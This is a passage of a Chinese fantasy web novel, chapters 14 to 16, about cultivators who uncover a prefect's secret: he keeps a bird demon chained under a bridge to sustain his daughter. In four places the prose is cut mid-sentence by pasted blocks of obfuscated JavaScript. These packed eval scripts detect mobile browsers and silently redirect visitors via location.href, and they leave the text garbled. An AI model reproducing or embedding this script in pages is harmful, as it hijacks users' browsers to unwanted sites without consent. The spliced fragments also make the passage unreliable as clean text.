天边黑云聚集起来,大风把青石板上的草刮得左摇右晃,几乎要腰折在地。 “快看!”纪泱泱指着远处惊叫起来。 桥那头忽然掀起浪来,虽然没有万丈高楼那般夸张,但也撼天动地,好似有巨鲲在底下不停搅动,在桥的这头都能感受到巨大的震动。 酒当歌皱着眉,默不作声地向那边走去,剩余三人抬脚跟上。 走在桥上,纪泱泱好奇地四处观望,还真让她觉出了奇怪——一般的桥都在两排望柱上摆石狮子,但这座桥,仅在桥头边上摆,一端一个,摆的也不是石狮子,而是石龟。 “哎哎,你们去干嘛?”一个往回走的干瘦小老头儿拦住了他们,“如今大家都急着往家跑,怎么还有人往河里走?可别叫风卷了去!” 似是在迎合他的话,老人脖子上的系绳突然松了,那顶在他身后猎猎作响的草帽倏地飞向河面。 酒当歌大迈一步,眼疾手快地抓住帽沿,递还给他:“阿爷,那边怎么了?” “谢谢你啊小姑娘,”老人边给绳子重新打结,边给酒当歌讲道:“其实我也不知道怎么回事,这几天那儿一直在翻浪,你说是强风吧,也不是;地震呢,也不像;至于暗流、漩涡,那就更不对了。” 他叹了口气,将草帽挂回脖子,继续道:“船呢,也都走不了了,好端端的,对我们这些船夫来说,简直就是无妄之灾啊!” 莫云欲指了指青石板路,问出了先前的疑问:“那您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062587|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道为什么要建这座桥么?明明左边就是大道啊。” 老人稍加思索,道:“几年前,郡守突然下令修桥,并在大道上设了重税,自此就没人再走那里了。” 话音刚落,桥身又是一阵晃动,人群也走得一干二净。 “好嘞,谢谢您!”酒当歌向老人做了一揖,提醒道,“您快离开这里吧,桥说不定什么时候就塌了。” “咦,”老人摆了摆手:“不可能的,这桥不知经过了多少风风雨雨,结实着呢。” 酒当歌朝老人点点头,转头对三人道:“咱们去看看吧。” 话音才歇,桥那头突然传来“救命”的大喊,声音之凄厉,简直都要将风声和水声一并盖过。 “阿爷再见!” 酒当歌闻声便带头朝桥头奔去,独余老人盯着四人的背影在原地嘀咕:“好吧,别怪我没提醒你们。” 石拱桥的两头距离不算近,但四人远远便瞧见了一抹扎眼的黄色身影——一名少女正抱着望柱上的石龟,拼命蹬着脚想要爬上桥,可双腿却因慌乱而使不上半分力气。 “救我!救我!”少女看到有人朝自己走来,急忙大声呼救。 她整个人都悬在桥外,要不是十指深深地扣进龟嘴里,早就掉下去了。水花高高地打在她身上,简直像野兽的舌头,舔舐着,要将她卷入腹中。 酒当歌大步迈去,毫不犹豫地向她伸出双手:“抓紧我!”随后用脚抵住柱根,手下使力,想要通过两根望柱间的缝隙把她拽到桥上。 少女听话照做,递给酒当歌一只手,另一只手依旧死死扒住石龟。 纪泱泱见状贴上前,伸手去握少女的另一只手。 余光瞥见她的动作后,酒当歌忙开口阻止:“泱泱离远点,别掉下去!” 师父放心地把师妹交给自己,可千万不能让她有什么闪失。 “好吧。”纪泱泱只好作罢,收手站到一边,担心地看着。 “放心,她可以的。”莫云欲安慰纪泱泱道。话虽如此,他却紧张得屏住了呼吸。 不行,拉不动。 桥上的酒当歌紧紧皱着眉:少女的身体像被漩涡吸住一般,任凭自己使出吃奶的劲,也拽不动一丝一毫。 “你脚下用力,试试能不能踩上来。” 少女痛苦地摇着头:“不,我,我抬不起脚……” 边上的白墨轩心不在焉地望着,目光瞥过石龟后,眼神倏然一凝——在少女的乱抓下,石龟嘴里露出灰黄的一角纸来。 他走上前,修长的手指捏住那一角,小心地将它整张抽了出来。 纪泱泱看见他的动作后,好奇心瞬间被点燃:“什么东西?” 莫云欲也凑了上去。 是一张符纸,破破烂烂的,纸身像被砖头狠狠碾过,因为太过残旧,让人分辨不出是哪种符。 “这是……封印符么?”白墨轩举起符纸,向莫云欲展示,黑眸里是不加掩饰的疑惑。 闻听此言,莫云欲心神一凛,飞速从怀里摸出一张封印符,对准石龟扔去。 符纸箭一般窜进它的嘴里,接着亮起一道黄光。 天骤然晴了。 14. 第14章 锁 乌云像被撕开了一道口子,橘红的光瀑瞬间倾泻而下。 酒当歌突然感觉手上一轻,她来不及卸力,一拉,少女便像咬了钩的鱼,整个人被甩到了桥上。 原本波动剧烈的水面渐趋平静,少女瘫趴在地,盯着深得发黑的河水,喉头一涩,后怕得干呕起来。 好险,差点就死了…… 待她稍稍平复了心跳,酒当歌握住少女伸向自己的手,把她从地上拉了起来:“没事吧?” “无碍,”少女白着唇,冲酒当歌感激一笑,“谢谢你。” “举手之劳,无足挂齿。”酒当歌揉着酸痛的手腕,回她一个笑。 傍晚的风本就凉,何况少女还沾了水,一阵风袭来,她忍不住浑身一抖。 “冷吧?”纪泱泱从芥子袋掏出一张火符,念诀点燃后,递给少女。 红底金字的符纸,燃的却是蓝火,少女接过的瞬间,“呼啦”一声烧遍了全身,仿佛那衣服拿酒泡过了似的。 一瞬后,火焰便连着衣服上的水一并消失无迹,仅剩温暖和干燥残留在身上。 “哇!好神奇!”少女惊叹地张大了嘴,眼睛亮亮的。她握住纪泱泱的手,轻轻摇了摇,“你们是道士吧?求你们教教我,我也想学术法!” 少女生了一张鹅蛋脸,眉眼弯弯,笑起来像泡过蜜的脆桃,甜而不腻。 闻语,酒当歌却蓦地瞪大眼:“我见你体内灵气充盈,怎可能不会?” 方才自己接触少女时,便觉一股温润细流顺着她的经脉汩汩流淌,不疾不徐,轻易便可从中凝聚力量。这般天赋,若经培养,假以时日绝对会名扬天下。 “真的,”少女摇了摇头,“我若会术法,便不至于差点落入河里了。” 她叹了口气,继续道:“打小起,爹爹便不允许我接触这些东西,也不准我出门,更不准我靠近这座桥。” 少女名叫当春桐,是过康州行水郡的郡守千金,今日从下人那里听说了河水之事,便趁府内忙得焦头烂额之际溜了出来,既为好奇,也想借此向父亲证明自己。 万一自己恰好遇见了什么高人,悟通了什么道义,爹爹便不会阻拦自己学习术法了吧? 可谁知,刚踏上桥,就似乎有一种魔力,诱着她缓缓走到了西桥头。站在石龟前,她的手鬼使神差地抚了上去,未等回神,一股巨大的吸力便瞬间扯她入水。 幸好她及时反应过来,死死抱住了石龟,不然父亲派出来寻她的人手,正好就可以用来打捞尸体了。 “早知便听爹爹的话——”当春桐说到一半,便听见远处传来一声熟悉又嘹亮的“春桐——”,她呼吸一滞,咽下了后半句话,忐忑地与众人一齐转身看去。 一群人快步赶来,乌泱泱的,为首的人看起来四五十岁,皱纹不多,穿着一身宝蓝色衣裳,八撇胡,头发梳得一丝不苟。 在他旁边跟着的,还有一个丫鬟打扮的女孩,嘴里不停喊着“小姐”二字,眼皮肿成了核桃还在不住地抹眼泪。 “不好,是我爹爹!”当春桐在自己父亲的怒视下,缩了缩脖子,慢慢挪到了酒当歌身后。 “当春桐,你疯了!”郡守当世圻的目光瞬间锁定那一抹黄色,两脚像安了风火轮,直冲过去,将她拉到一边,满脸紧张地绕着她转圈,“伤到哪了?我看看!” “爹爹,我没事。”当春桐看着当世圻的脸,紧紧抿起嘴,努力克制自己不要落泪。 父亲面上隆起的眼袋像两座青山,直直地拔地而起。她低下头开始在心里埋怨自己来。 当世圻左看右看,见女儿确实没事,终于抑制不住责备:“你说你!走就走吧,也不多带几个人,是要担心死我么!” 半个时辰前,他刚忙完政务,就见当春桐的贴身丫鬟兰闺急吼吼地闯进书房:“老爷,小姐,小姐她要被河吞了!” 自己大脑反应过来的瞬间,两眼接着一黑,仿佛天塌了下来。 从书房夺门而出后,他立刻召集了一群人随他去救当春桐。万幸的是,自己的女儿此刻就站在自己眼前,好端端的。 “小姐!小姐!”兰闺也扑了上去,眼泪鼻涕直往她身上蹭,“你没事,真是太好了!” “是啊,我没事。”当春桐一个人安慰两个,有点忙不过来,于是便借此讲清了事情的经过。 “就是这几位道士救了我。”她向当世圻介绍道。 酒当歌见状抱拳,带头行礼:“当郡守。” 双方互行完平礼,当世圻开始眯着眼一一打量起四人来。 嗯……白衣似雪,“立如芝兰玉树,笑如朗月入怀”,儒雅温良。 黑衣少女嘛,“眉横远岫含霜气,眼剪寒星带露秋”,腰间佩剑,一副英姿飒爽少年郎模样。 “巧笑倩兮,美目盼兮”,眼珠黑白分明,看起来古灵精怪的,好奇心肯定非常旺盛。 这最后一个嘛,“翩翩佳公子,逸气凌青云”,神仪明秀,朗目疏眉,不过手中一直摇着折扇,很不符合他的气质——“有点眼熟啊,你是御符宗的道士莫云欲?”当世圻不确定地问。 “对,”莫云欲很是惊讶,“您认得我?”他收了扇子,重作一揖,表情谦恭道,“晚辈莫云欲,见过当郡守。” “嗯,十几年前,我带夫人前去御符宗看病,匆促见过你一面,”当世圻捻了捻八撇胡,欣慰地笑了,“都长这么大了啊……” 见他的眼神开始放空,就要回忆过去,当春桐急忙出声阻止:“爹爹,咱们请他们四人到府上做客吧!”她扯着当世圻衣角,撒娇道。 “嗯,我儿说得好,”当世圻宠溺地摸了摸当春桐头发,点头同意道,“不知各位意下如何呢?” 酒当歌作揖道:“荣幸之至。”其余人点头默认。 “好,这边请。” 于是一行人又浩浩荡荡地前往郡守府。 路上,酒当歌与当世圻熟络地聊了起来:“当郡守,这桥叫什么名字?” “‘浮梁锁浪蛟龙伏,杰阁凌空日月悬’,此桥就叫‘锁’。”当世圻笑着指点大桥,满腹经纶。 “那河底可是锁着什么妖物?”酒当歌不想多绕圈子,单刀直入地问。 换做一般人,嘴巴早就可以张得能吞下鸡蛋了。 郡守却面不改色,仿佛早已料到:“是的,如你们所见,这桥建成这般怪异的样子,就是为了压制它。” 最后一丝霞光归拢大地,天虽未黑透,但那半圆的月亮早已冒了出来,像被啃剩的半颗莲子。 当世圻带着众人步入主道,继续道:“只是近来封印松动,才让它有了搅动河水的能力,”说着遗憾地摇了摇头,“可惜这里的道士都是些庸才,无法加固封印,不知你们能不能……” 言虽尽但意未绝。 “没问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062588|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次倒是莫云欲率先应了下来——郡守既然认识自己和师父,就没有不帮忙的道理。 说话间,郡守府在远处露了个头,有两个人却远远地落在了队伍后。 白墨轩不知何时收了伞,手指无意识地死死握着白玉伞柄。 他心神恍惚,自顾自地走着,周遭的一切声音几乎消失殆尽,天地中唯余下自己。寒气从脚底升起,渐渐爬上脊背,好似自己脚下的不是石板路,而是冰天雪地。 “你走错啦!” 腰窝被人猛地一拍,他回了神。 “这边!” 白墨轩任由少女扯住自己衣裳,将他转了个个儿。 纪泱泱挑着眉,笑意盈盈,好似天上未出现的星星都藏在她眼中:“大家都快到了吧,你怎么落这么远?” 听罢,白墨轩茫然地看了看四周,确认这是前往郡守府的路,于是目光又落回了少女脸上。 “管我作甚?”白墨轩继续走着,黑眸微阖,嘴角勾起一抹倦怠的笑。 “我怕你迷路啊!好心当作驴肝肺!”纪泱泱睁着一双明亮的杏眸,嘴上关心,心底想的却是跟紧白墨轩,生怕他再搞什么小动作。 吸取了上次的教训,她不会再让白墨轩脱离自己的视线了。 “迷路?”他可笑地重复了一遍,反驳道,“我不会迷路。” “天有不测风云,世事难料哇,你怎知自己就一定不会?”纪泱泱跟在他身侧,如影随形。 “我就是不会迷路,”他执拗地强调,“我从来不会迷路。” 没想到他这么大个人了,还耍小孩子脾气。纪泱泱觉得好笑,附和道:“好好好,你不会!” 得到了自己想要的答案,白墨轩得意地勾起唇,恢复了往日的神态。 “跟屁虫。”他扔下一句话,往前走去了。 纪泱泱却是一点儿也不恼,反而高兴地跟了上去:好啊,跟屁虫就跟屁虫,只要不赶她走就行。 …… 郡守府里,当世圻盛情款待了四人一番,饭饱酒足后,便开始商定加固封印的事了。 “那符纸撑不了太久的。”莫云欲摇开扇子,表情凝重道。 酒当歌一只脚踩在凳子上,重心靠后,舒展开双臂,点点头:“没错,整个阵法已经顺着白天那处阵眼慢慢溃败到别处了。” 当世圻一听便知两人是真有实力的,捻了捻八撇胡告知道:“小女后院有一道传送阵,可直通河底那妖怪处,当时御符宗宗主便是进入那里封印的它。” 当世圻瞥了眼窗外,继续道:“天色已晚,明日几位再通过传送阵前去加固封印吧。” 白墨轩在座椅上安静地品着茶,丝毫没有加入话题的意图。 见谈论就要结束,纪泱泱心里还憋着几个从头到尾没人问的问题:“当郡守,我能问一下,那妖可是犯了什么滔天大罪?” 闻言,当世圻面色一变,眼中浮现恨意:“它害死了我的妻子,差点害死春桐,还把整个行水郡搅了个天翻地覆!” 怪不得没见到郡守夫人。纪泱泱自知提到了人家的伤心处,暗暗瞟了眼当春桐,便不再多问,点了点头:“确实可恶!” 当春桐手肘立在桌上,撑着双颊,在一边插不上话,困得直点头。 当世圻见她闭着眼,就快要歪到地上,忙心疼地招呼兰闺扶她回屋,随后便请四人到客房歇息了。 15. 第15章 河底水牢 晨曦初露,纪泱泱四人便与郡守一齐站在了后院中。 当春桐原本为了长见识而特意起了个大早,但当世圻坚决不让她跟着,便怏怏地去饭厅了。 后院空荡荡的,仅在地上的砖缝里种了斑斓的花儿。霜地色的□□,黛瓦层层覆之,其下,是一根顶雕石龟柱,像把桥上的望柱拔了去。 “这传送阵啊,一天仅能开启一次。”当世圻说着,将手伸进石龟嘴里,摸索了两下,掏出一个小巧的东西来。 狭窄的院里挤着五个人,纪泱泱站在最后,前面是莫云欲和白墨轩高大的后背。 她为了看清楚,只得踮起脚,使劲抻着脖子,费了好大力,才终于将那东西看清—— 一块乳白色石头,上面刻着黑色的眼睛纹路,随着当世圻的动作,在柔碎的阳光下泛着亮。 当世圻转过身子,将石头摊在掌心,向众人展示道:“这是两点双向传送石。” 四个脑袋当即围成了一圈。 “听说传送石极其珍贵,我长这么大,也没用过几次呢。”酒当歌惊叹道。 有那么珍贵么? 纪泱泱心虚地投去一瞥:她记着,臭老头儿在芥子袋里给她放了满满一抽屉,还细心地附上了使用方法。 “没错,”当世圻捻着八字胡,赞同道,“像我这种普通人,能拥有此物,即是三生有幸了。” 他抬头看向莫云欲:“这块石头是御符宗宗主交给我的,现在呢,也理应交予你使用。”随后,将传送石放到了他手里。 沉甸甸的石头落入手心,莫云欲有点儿受宠若惊:“谢郡守。” 怕他不了解,当世圻开始详细地教给莫云欲,“传送阵往返的位置都固定在此,一天仅能使用一次,他指了指传送石纹路下方的黑色泪滴,“你看,这块石头还能使用两次。” “好的,晚辈知道了。” 莫云欲出自大宗,怎会不知传送石的用法,但出于礼貌,他没有打断郡守,反而露出一副虚心受教的表情。 “将灵力注入到石头里,直至纹路变白,传送阵就会开启,入阵后便可随身携带了,”见他表情认真,当世圻欣慰地摸上胡子,“听懂了,便试试吧。” 四人的视线都落在了莫云欲身上,他点了点头,举起传送石,右手两指并起,开始往里注入灵力。 随着力量的注入,传送石上刻着的眼睛开始变白,与此同时,一道阵法自五人脚下浮现。 当世圻似是想到了什么,叮嘱道:“河下施了避水咒,不用担心呼吸问题,到达传送点后,往前直走几步,穿过一道水帘,便到了。 “在那里,你们会看到一个备用的螺旋阶梯,直通大桥,若是传送石丢了或出了什么故障,就只能徒步爬上去了。 “好了,我要陪小女用膳,就不随你们去了。”他说着,慢慢退出了阵法范围。 不愧是大宗门的宗主啊,纪泱泱看了莫云欲一眼,能将此阵设计得如此精妙,甚至还留了后路。 看来底下镇压的妖怪很是厉害了。 “多谢郡守大人详细告知,晚辈记下了,”莫云欲向他作了一揖,“大人且安心陪女,我等自行前往便可。” 莫云欲说完,传送石上的纹路已然全白,刺眼的光芒亮起,四人脚下蓦地换了个地方。 河底就是河底,是只有碎石和泥土的普通河底,由于施了避水咒,泥土是干的,走起来与平常泥土路别无二异。 坚韧的透明膜衣包住空气,如同在河水中开辟了一个小天地。空气周围又被清绿色的河水裹住,各种鱼儿在里头成群地游动着。 “好美!”纪泱泱的眼睛几乎黏在了鱼群上,她贴着水膜,由衷地感叹。 “好了,泱泱,我们可是有正事要做的。”酒当歌无奈一笑,将她拉回了队伍里。 纪泱泱依依不舍地将眼睛挪开,瘪了瘪嘴:“好吧。” 当世圻口中的水帘就是一面哗哗往下流的水瀑,离传送阵不远,大约五十米的距离。 酒当歌和莫云欲依次穿过水帘,纪泱泱心里有点激动,还有点害怕,她朝后看去,想寻求一丝安慰:“白同道,你说这妖怪会是——咦,你躲在那里干嘛?” 白墨轩落后三人几步,站在原地捂着胸口,脸色苍白如纸,见纪泱泱看来,便强行挤出一个笑:“纪同道,在下身体突感不适……”说罢,还捂住嘴,咳了两声。 “你怎么了?”刚刚不还好好的?纪泱泱有点儿狐疑,伸手要去扶他。 白墨轩这摇摇欲坠的模样,简直像浪里的一片舟,随时会被淹没。 “旧疾复发,歇会便好……”他后退一步,错开纪泱泱的手,强撑起精神,“在下想留在此地等候,劳烦三位前去封印了。” 话落,他又咳了几声。 “你这旧疾复发的还真是时候。”纪泱泱本想揶揄他一下,但又见他额头冷汗直流,不似装出来的,便转口应了下来。 反正阶梯在中心,他不去就没法破坏;传送石又在莫云欲手上,他也动不了手脚。 纪泱泱这么安慰着自己,穿过水帘,心跳猛地一滞。 这里地上密密麻麻的,全是深浅不一的刻线;天上也满是刻线,血涂成的,干在水膜上。 穿过层层河水筛下来的阳光,再透过干涸的血,将这里笼罩成了深红色。 背对着三人的地上,躺了个红衣女子,她浑身的衣服几近风化,破破烂烂的,尤其肩胛骨,被穿了两个大洞,明显可见森森白骨。 酒当歌和莫云欲一后一前站在原地,小心地避开那些刻线,没有继续往前。 “师姐,咱们加固对她的封印就行了吧?”纪泱泱扯了扯酒当歌的衣袖,率先打破沉默。 这里好压抑,让人喘不上气,她好想快点完成任务,赶紧出去。 思及此,她忍不住羡慕起白墨轩来——早知自己也留下了。 酒当歌从一进来就皱着眉,闻言点点头:“没错,通过那里,就能补充整个阵法的力量。” “你来,还是我来?”莫云欲扭头询问酒当歌,余光瞥见少了个人,疑惑地看向纪泱泱,“白同道呢?” “在水帘外,他身体不舒服,就等在那里了。” “噢。” 大妖在几人交流之间,慢慢撑起了身子,衣袖下的手臂如枯骨裹了层皮。 她眯眼缓缓看向头顶,金黄的眼珠像蒙了层灰,深深陷进了眼眶:“又快到午时了吧……” 枯哑的轻叹刚止,大妖周身气息骤然收紧,转头看向三人,声音也沉了几分:“是谁,让你们来的?” 她伸出手,可拼尽全力,才凝出一道小火苗来。即便如此,她依旧摆出一副鱼死网破的气势来,像困在网里的螳螂,强弩之末。 酒当歌和莫云欲警惕地盯着她,沉默着。 纪泱泱见她这副模样,心下一软,回道:“是郡守,当世圻郡守。” 告诉她也无妨,反正今日过后,她便再也出不去了吧。依她现在的力量,怕是连下一次阵法崩塌都活不到。 “郡守?”大妖的眼睛忽地焕发了光彩,“你们是从郡守府来的?!”她忽而伸出血肉模糊的十指,跌跌撞撞地朝纪泱泱扑去。 “妖孽!滚远点!”酒当歌挡在纪泱泱身前,一把抽出剑,直指她的胸口。 不等大妖撞上剑,先被自己身后的空气扯了回去。 四道金色锁链自河床凭空冒出,其中两头圆环穿过了她的膝盖骨,将她牢牢钉在了原地;另两道凿穿了她的肩胛骨,连带锁骨一并穿过,死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酒当歌也提出相反的质疑:“你看看这一地的时刻线,血雀说得这么详细,连年数都对上了,难道会是现编的么?” “为何不能?况且,我问你,郡守偷她孩子干嘛?” 酒当歌一时词穷:“嘶,你倒伶牙俐齿,”她一叉腰,转向血雀,“既然你与郡守各执一词,那我们便回去寻一下你的孩子,顺便问问郡守,你之所言,到底是真是假。” “谢谢!谢谢你们!”血雀感激地擦净眼泪,“这几年,我能感觉到,我的孩子与我的联系越来越淡了。” 她突然想到了什么,急忙补充道,“但在一日前,它的气息突然强烈起来,”说到此,又落下泪来,“求求你们,尽快好么?” 酒当歌点点头,转过身背对着她,声音突然如淬寒冰:“若是假的,你也要想清欺骗我们的后果。” “好。”血雀抹掉泪,眼里满是期翼,目送着三人离开。 走出水帘后,纪泱泱只觉胸口堵得慌。 若血雀所说是真,她岂不是与自己孩子分别了十五年之久?还被困在这暗无天日的水牢里,受尽折磨。 一个人影站在前方,似是等候多时。 “封印完成了么?”白墨轩立在原地,气色看起来比刚刚好了很多。 虽是透明水膜,但从这里看去,却只能看到几道模糊难辨的身影,朦朦胧胧的,也听不见里面的对话。 莫云欲摇了摇头:“白同道,先入阵,一会儿再向你解释。”他掏出传送石,开始注入灵力。 紧接着周围又是一亮,待视线恢复后,四人又回到了后院里。 16. 第16章 三角之阵 石柱在墙面投下短短的一道影子,莫云欲将传送石放回了石龟嘴里。 “哎呀爹爹,你就让我一局嘛!” “那咱们可说好了,下完这一局,便乖乖去背书。” “嘻嘻,爹爹最好了!” 少女的笑声如飞泉漱玉般清脆悦耳,与中年男子严肃但宠溺的声音一齐从前院传来。 酒当歌一言不发,从莫云欲背后挤出去,抬脚就要去跨月洞门。 莫云欲知道她想干什么,伸手一把拉住。 “当歌,不要冲动,一会儿由我来说可好?” 酒当歌睨了莫云欲一眼,收了脚,痛快地给他腾出一个身位:“行啊,你去。” 莫云欲在心里微微叹了口气,只觉自己头顶突然好似千斤重。 四人一声不吭,依次来到前院。 当世圻和当春桐在一圆木桌两端对弈,棋盘上刚落下三子,见到来人后,纷纷站起了身。 两拨人见面,互行了一个平礼。 “几位道士,你们来啦!”当春桐欣喜地笑开,本想上前嘘寒问暖,又见众人满脸凝重地看着自己父亲,虽心有疑惑,但也识趣地闭了嘴,退到一边。 “当郡守,”莫云欲字斟句酌地开口,“我们在河底下,见到那只妖怪了……”说罢,开始观察他的脸色。 酒当歌盯着莫云欲的后背,冷脸环胸,眉头紧紧皱起:他怎么不从女娲造人开始说起? 闻言,当世圻面上立刻涌上了厌恶和愤怒,他恨恨道:“这该死的妖怪,只是将其困在那里十五年,也太便宜她了!” 莫云欲似是下定了决心,又问一句:“当郡守,容我冒昧一问,您说您当时带着夫人去往御符宗看病,不知患的可是什么病?” 当世圻从这句话中察觉到一丝不对,但并未细想,还是回了他:“内人那时腹部中了妖气,找了好多郎中及道士,都治不好,实在没法,便去求了贵宗宗主,如此才能保下小女……” 当世圻说着说着,有点摸不着头脑:“怎么了?” “那妖怪说您偷了她的孩子……”纪泱泱默默回了一句。 血雀说郡守夫人患的是枯血症,而郡守又说是中了妖气,到底孰真孰假?她有点混乱了。 不过当世圻这下是真真正正地变了面色,他蓦地瞪大眼,火气直冲天灵盖:“胡说!我偷她孩子作甚?!” “可……” 不等莫云欲再问一句,酒当歌走到满脸疑惑的当春桐跟前,两手扶住她的肩头,道:“春桐,你先回房背书,哥哥姐姐们要与你爹爹谈大事,等到晚上便去教你术法,好么?” “真的?”当春桐面上一喜,但很快便抑制住了,她看向当世圻,见他没说话,只是疲惫地摆摆手示意自己快走,面上便再也抑制不住兴奋。 “谢谢酒姐姐!”她飞快地应下来,生怕当世圻突然反悔,随即便欢欢喜喜地捧起书,跑走了。 “啪嗒”,一枚白子随着书本的抽离,从棋盘跌落在地,发出一声脆响。 天地间似乎只剩了这一声。 酒当歌弯腰将其捡起,放回桌上,顺便站到当世圻面前,略一抱拳,张嘴便问:“郡守,夫人可是那河底的妖怪伤的?” 当世圻先是一愣,接着眼神开始闪躲:“不错。” “既然如此,您与那妖应是血海深仇,又为何不杀死她,反而仅用阵法将其困住?” 言辞犀利,直至要害。 纪泱泱在心底佩服地为她竖起大拇指。 “郡守夫人可是道士?怀胎期间可有吃过什么灵草?” “若都不是,为何您的体内没有灵力,女儿却有?” 酒当歌每质问一句,当世圻脸色便苍白一分,他的手摸上八撇胡,一下又一下地捋着,拼命掩饰发抖的嘴唇。 见他不回话,酒当歌继续道:“那法阵,表面是困住大妖,实则是在抽取她的妖气来滋养着某个东西,”她一顿,语气带上笃定,“而那东西,便在这三角之阵其中一处阵眼,也就是这里。对吧,郡守大人?” 一旁静静看戏的白墨轩见事情发展至此,多多少少也知晓了大概,他淡淡嘲讽道:“以妖气养阵,再用人气压妖气,可真是打得一手好算盘啊。” 虽未指名道姓,但莫云欲的心口却猛地一跳。 而当世圻,此刻再也支撑不住面上的镇定,一屁股跌回到凳子上,终于开始讲述起过去。 几人听完一整合,大致还原了真相—— 十五年前,郡守夫人怀胎五月,突然受到了妖怪的攻击,她因躲闪不及,让一道妖气钻进了肚子。 眼看自己好不容易得来的孩子就要胎死腹中,夫妻二人不忍放弃,便开始四处求医,几经波折竟然找到了御符宗宗主。 宗主给了他们一株灵草,让郡守夫人栽到后院,等四个月后服下。 可就在灵草成熟之际,突然被一个患了枯血症的妖怪——也就是血雀,跑来偷走了,待他们和宗主追到时,灵草已经被她融进了蛋里。 于是他们就把血雀捉住,顺便把蛋也偷走,回到行水郡建了座大桥,并在底下设了法阵,由法阵吸取血雀的妖力,传进她的蛋里,再把蛋里被挤出的灵力输送到当春桐体内,以此置换她体内的妖气,最后通过桥上的阵眼转换为灵力加固法阵。 按理来说,锁妖阵经过时间的沉淀应是越来越弱,怪不得血雀会觉着自己与孩子的联系越来越淡,原来是被当春桐慢慢“吃掉”了。 “谁叫她偷了灵草……最后我的夫人因难产而死,也全是拜她所赐……”当世圻面上老泪纵横。 “可你有没有想过,若是蛋里的灵气用完,春桐依旧会死。”酒当歌叹了口气。 当世圻猛地抬起头,几近崩溃:“那怎么办?怎么办……”他喃喃重复着,手指下意识抓起一把棋子,用力握紧,绞得吱吱作响。 怎么办呢? “这几年来,那枚妖蛋应该吸收了不少妖力,”白墨轩略一沉思,提议道,“只要用它将那阵里的妖换出来,再用灵石补充蛋的位置,应该就可以了。” 纪泱泱看向酒当歌,见她没有表示异议,便移开了眼。 不过血雀的谎言也可以理解,毕竟也是为了增加自己孩子被救的几率。 “可行么?”当世圻如同抓住了救命稻草般,眼神在几人间来回转动,他心跳得厉害,比进京面圣都有过之而无不及。 “嗯,”莫云欲赞同地点了点头,“确实值得一试。” “如此,春桐以后就要靠灵石来续命了。”酒当歌松了口气,“总比没办法强。” “谢谢!谢谢你们!” 得到了三人的肯定,当世圻激动地撩起衣袍就要跪下,但被莫云欲拉了起来:“郡守,救人一命胜造七级浮屠,不必行此大礼。” 折寿啊…… “办法是有了,可该怎么实施呢?”纪泱泱问道。 酒当歌沉吟片刻,说道:“这样,我跟莫云欲去桥上的阵眼输送灵力,泱泱跟白同道去往河底替换妖蛋。” 白墨轩点点头:“可以。” 于是四人明天的行程便确定好了。 …… 夜晚很快来临,月光斜着照进屋子一角,朦朦胧胧的,黑漆大桌上正着摆了把白玉壶,一张褪色的残符被压在它前面的玲珑瓷杯下。 白墨轩刻意避开月光坐在桌前,盯着玉瑶色的茶水发呆。 半晌,他抽出残符,捏在手里,仿佛回到了一日前,身处桥头的白天。 周围忽然嘈杂了起来,孩童嬉戏声,小贩叫卖声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17062590|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微风吹皱河水的声音,还有,还有,都一并清清楚楚地灌进耳中。 桥头上,一袭雪衣的矜贵男子领着一个十五六岁的小少年,立在昂首的石龟前。 “阿轩,你可知,三角之阵何解?”男人手里拿了把青玉扇,指了指眼前的河水,像天底下所有耐心教导孩子的父亲一样,笑容里尽是温柔。 “只要摧毁其中一角便可。”少年深深地看了一眼大桥,低下头,小心翼翼地回答,生怕说错话惹男人不高兴。 男人面上依旧是那副云淡风轻的笑,话从嘴里轻轻一吐,便给少年下了死刑:“那好,你去做吧。” 少年浑身一僵,猛地抬起头,玉一般的脸上写满错愕:“可是,桥上的人怎么办?” 他们…… 会死的啊…… “你在自身性命难保的情况下,连别人的死活都要考虑么?” 周围嘈杂的声音还在继续,少年的耳膜却似被水裹住,句句都听不真切了。 “我知道了。”他白着唇,眼神变得空洞无比,仿佛灵魂已被剥离,只余下了一具空壳。 少年两指夹起一张符,熟练地念诀,朝石龟甩去。 他不敢违逆男人,否则,会招致严重的惩罚。 